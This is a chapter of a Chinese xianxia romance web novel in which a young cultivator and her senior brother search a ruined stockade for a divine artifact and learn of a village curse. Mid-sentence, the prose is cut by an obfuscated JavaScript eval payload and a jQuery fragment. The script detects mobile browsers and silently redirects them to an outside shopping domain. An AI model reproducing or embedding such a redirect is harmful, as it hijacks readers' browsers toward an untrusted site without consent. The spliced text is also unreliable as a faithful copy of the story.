翌日,天刚蒙蒙亮,木春便被洞府外嘈杂的吵闹声吵醒。
她揉着惺忪的睡眼,迷茫地撑起眼皮睁开一条缝,看见那抹白色的身影,残留的睡意霎时烟消云散,彻底清醒。
水无月歉意道:“我是不是吵醒你了?”
木春摆手,“没有没有,我是自然醒的。”
心中又暗自腹诽,怎么可能她是自然醒的,若非他整出这么吵闹的声音,按照她往日的作息,她可是睡到日上三竿都起不来。
“我想着这两年亏欠你太多,便叫人抬了些许珍宝来让你挑挑,也不知可有能入你的眼。”
他抬手一挥,身后出现两排提着箱子的人,成箱的珠宝整齐罗列,被人打开后,金灿灿的光闪得木春都快睁不开眼,偌大的洞府此刻被映得金碧辉煌。
木春目瞪口呆:“这…这也太多了吧。”
“这些可远不及我亏欠你的。”
那群人放下箱子后将其打开便匆匆离去。木春踩着鞋履,下地去看那些闪得晃眼的箱子,随手拿出一件东西都是仙器排行榜上叫得出名的宝物。
木春险些晕倒,这些都是钱啊,她可从来没见过这么多的宝物,这要是卖了能换多少钱啊。
她这个大师兄外派是去修行还是去打劫了,上哪能弄到如此多的稀世珍宝。
她左挑右拣,哪一个拿在手中都不舍得扔下,可是藏宝袋的空间就那么大,她只能拿几件最有用的宝物。
水无月向木春扔过来一个锦袋,木春颤抖着手接过,她一眼就瞧出这锦袋,正是前些日子修仙日报上,广为流传的那件以九千六百八十万灵石超高价成交的锁春袋。
个十百千万十万百万…
她一个月的月俸只有十灵石,加上日常洒扫院落给的奖励也不过十五灵石,九千六百八十万灵石,她要拿五十三万年的月俸才能攒到。
天啊…
木春忍不住问道:“师兄,你哪来那么多的钱?”
水无月淡淡道:“这些都是别人送的。”
别人送的?就算是有事相求找他帮忙,也没必要如此破费吧。莫不是在诓她?
难道大师兄现在的身价已经随着仙门大比魁首这个名号水涨船高了不成?倒还不如说是自己赚钱买的更为可信些。
水无月并没有骗她。这些珍宝确实都是求他办事的世家大族所送。
在那群钱财满贯的人眼里金钱是最不值得一提的东西,水无月本身能做到的事情,可不只是能用金钱来衡量的。
自知问不出个所以然的木春歇了好奇的心思,转头打开锁春袋滴血结契。
这花了九千六百八十万拍下的锦袋就是与普通藏宝袋不一样,眨眼工夫那些珍宝都被收入了锁春袋里。
水无月又拿出一件翠绿色的襦裙,“你待会儿洗漱完便换上这件襦裙吧,我在门口等你。”
他撂下一句话后便转身就走,脚步颇快,身后仿若有洪水猛兽在追。
木春不解他为何走得这般急,但也没细想,使了仙法变了一盆清水洗漱。
水无月倚在洞府外,喘着气。他的脸憋得通红,一只手紧紧扼住脖颈,在那抹白皙上留下了一圈红痕。
小春、小春…
只是稍微地靠近,他心里那股名为爱欲的火焰就烧得愈浓,他越发地克制不住想要占有木春的心情。
可是,为了他们今生的圆满姻缘,他必须压下所有阴暗的念头,否则只会步入前世的后尘。
空气越来越稀薄,窒息感涌上,水无月才松开了手,大口大口地呼吸着新鲜的空气。他身子无力滑下,蹲坐在地上。
经过昨晚与今早的打量,他唯一能确定的是小春并没有前世的记忆。
只是她为何疏远、又为何提议下山寻本命剑——这件事在前世并未发生,仍是未解开的谜团。
他想,或许同她身边那只突然出现的灵兽有着莫大的联系。
水无月的思绪纷飞,不知道思考了多久。
眼前落下一片阴影,他抬眸望去,只见木春身着一袭翠绿锦缎襦裙,那抹绿翠嫩透亮,如同初春的嫩芽,让人眼前一亮。那只灵兽依旧呆在她的肩上,紧紧地贴着她的脖颈。
“师兄,我已经收拾妥当了,我们出发吧。”
水无月呆了许久才晃过神,闷声应道:“好。”
他起身想要拉住木春的手,却被内心深处那道声音制止。
“你怕不是忘了她爱的只是你清风霁月的表面,你这般作态只会逼得她躲远。”
“那我该怎么做?”
“循序渐进。”
匿于长袖下的手微微攥紧成拳。
木春瞧见水无月脖子上的红印,问道:“师兄,你这儿是怎么了?”
水无月笑得温柔,“没事,只是蚊虫叮咬。”
蚊虫会绕着脖颈一圈去咬吗?
木春觉得这个理由有些过于牵强,但师兄都这么说了,她也不好再细问什么。
-
庆宜告诉木春,第一方神器就位于山脚下的村落。
木春拿着手上庆宜交给她的地图,瞧了好几遍也没瞧出来它标的神器的所在地,庆宜实在是受不了她这副睁眼瞎,用喙猛戳其中一个淡蓝色的点。
要不是碍于旁边还有个水无月,它真要大叫出声了。
木春指着地图上的蓝点,对水无月说道:“师兄,我们去这里看看吧。”
“好。”
山脚下的村落熙熙攘攘,正是赶上早上赶集的时候,街上的人摩肩接踵。
木春走在路上,还能碰见一两个相熟的村民,他们见了木春热情地打招呼后,又瞥见她身旁的水无月,木春便将她这位名声在外的大师兄介绍了出去。
一传十、十传百,没过多久,整个村子的人都知道了水无月这位仙门大比夺得魁首的天才修士来了的消息。
整条街以他们二人为中心,被围得水泄不通。木春也没料到水无月的影响力竟如此之大,有些后悔说出口的举动。
水无月眼见有几人推推搡搡,场面有些失控,无奈地说道:“我与小春有要事在身,还望诸位谅解,待我们事成之后,定会挨家挨户登门拜访、感谢大家这段日子对小春的照顾。”
这句话掉在人海里,就像是一根定海神针一样。知道了天才修士会上门拜访道谢,众人喜笑颜开地四散离去。
木春拍了拍胸口,冲水无月伸了个大拇指,“大师兄,还好有你在。”
水无月会心一笑,“寥寥小事,无足挂齿。”
这神器所在的位置,位于整个村落的最深处,他们二人绕了好久,走了不少弯路才到。
映入眼帘的是一块高高悬挂的牌匾,木春念出声:“青龙寨…”
这怎么既有村又有寨,真是乱了套了。
“我们先走进去看看。”
甫一踏过门口,木春就感觉破天的威压压在肩头,沉重得让人难以呼吸,不过也就短短几秒,那威压就散了。
水无月藏在衣袍的手指一掐,一道浅浅的莹白色的光圈环在木春的身侧。他关心地问道:“还好吗?”
“嗯。”
木春瞧见了那抹光圈,心中也了然定是水无月所为,心中多了几分对大师兄可靠的肯定。
入寨后石阶层层递生,随处可见断垣残壁,荒芜的杂草蔓生,怎么看也不像有人生活居住过的样子。
水无月皱着眉,“小春,你当真要在这么破败的地方寻本命剑?”
“师兄,这你就不懂了,越是不起眼的地方越能发现珍奇异宝。”
木春心里也没底。庆宜说它只能探测到神器的大概方位
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17712569|208461||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
,具体在哪个位置还是要靠她自己慢慢摸索。
闷头一路走下去,竟又走回到了原来刚进寨门的原点。
木春不信邪地又走了两遍,两遍均是如此,仿佛中了鬼打墙一般。她在门口寻了好半天,也没有找到什么办法能破解此循环的办法。
日落山头,两人悻悻而归。
水无月去客栈定了两间房,木春闲着没事,便去同客栈的小二打听起了青龙寨。
那店小二原本见她搭话还喜笑颜开,可是在听到青龙寨这三个字的时候,脸瞬间耷下,惊恐的神色不言而喻,还没等她再说什么就灰溜溜地跑开了。
接连问了几个人,都如同之前那个店小二一样,听到青龙寨的名字就跑远。
木春纳闷这青龙寨莫非藏着什么妖邪不成,村民们竟如此惧怕这个地方,甚至闭口不提。
她把这件事情同水无月讲了,水无月听完也发现了其中的蹊跷,二人商量该如何应对的时候,木春想起来晨时水无月答应的众人要去拜访,便提议先去村长家问问看能不能探听什么线索。
村长作为村里的老人,见修士所托,也不好藏着掖着,便将深藏数百年有关青龙寨的传说说于二人听。
传说三百年前,有一神兽青龙被封印至此,神魂残留,化作一缕福脉,庇佑着此方天地。
他们的祖先因战乱逃窜来到了这里,发现这儿不同于乱世硝烟弥漫,美好得仿若世外桃源,便在此扎根繁衍生息。
而他们最开始驻扎的地点正是木春二人探查过的那个破败不堪的青龙寨。
他们的祖先知晓这地方是由神兽青龙庇护,为感念青龙赐福恩典,特意建造神庙供奉,还创立了一个教派名为青龙教,寨中上至八旬老人下至五岁幼童均是信奉青龙教的教徒。
日子繁荣发展,一片欣欣向荣。可惜好景不长,一场突如其来的山洪冲垮了大半寨子,寨民们日日夜夜祈求青龙神兽神降,救他们于危难之中。
青龙教自发地召集寨民抗洪救灾,死伤无数,神降也迟迟未到。
渐渐地人们失去了对青龙神兽的信仰,甚至对携手抗灾的青龙教也多了几分牵连的怨怼。
人力始终难敌天力,在天灾面前人的力量微乎其微。
寨民们只能舍弃生存几十年的家园,去寻觅更适宜居住的地方,也就是现在的村子——桃源村。
事情本该到此结束。
可是十几年前,村子里莫名的发生了诡异的事情。
新生的婴孩中有一部分,生来胳膊上就印着青龙图案。
人们起初并不当一回事,可是直到那群婴孩年岁渐长、长到约莫四岁左右的时候,都犯了疯病,口中喃喃着什么青龙神怒,欲降神罚,活了不过几日就死了。
村里的老人联想到之前青龙寨的事情,以为是青龙神兽因他们不再信奉而发怒,又建起神庙供奉。
这现象只短暂消了一、两年,又复发了,这次发病的人不仅是新生婴孩,甚至波及到了老弱妇孺,村里上上下下人心恐慌。
直到木春的出现,才稍稍抑制了病情的扩散。
发现木春能抑制病情扩散这一事,是村中的巫医。她的占卜从未出错,当年正是她的祖先指引人们寻到了这方天地。
她占卜到此次危机正是青龙神兽降下的诅咒,若要平息它的怒火,必须找到福缘深厚之人,而木春便是此人,唯有同此女多加联系,才能摆脱灭族危机。
木春听得云里雾里,听到最后还有自己的事,难以置信地指着自己:“所以我来山下这么受欢迎不是因为借了师兄的光吗?”
村长摇头,“知晓其中真相的也只有村里的老人,并不知您就是可以破解诅咒之人。村中的大多数人如此喜爱您,无非是觉得您亲近,至于借了水少侠光这件事,也是有些原因在的。”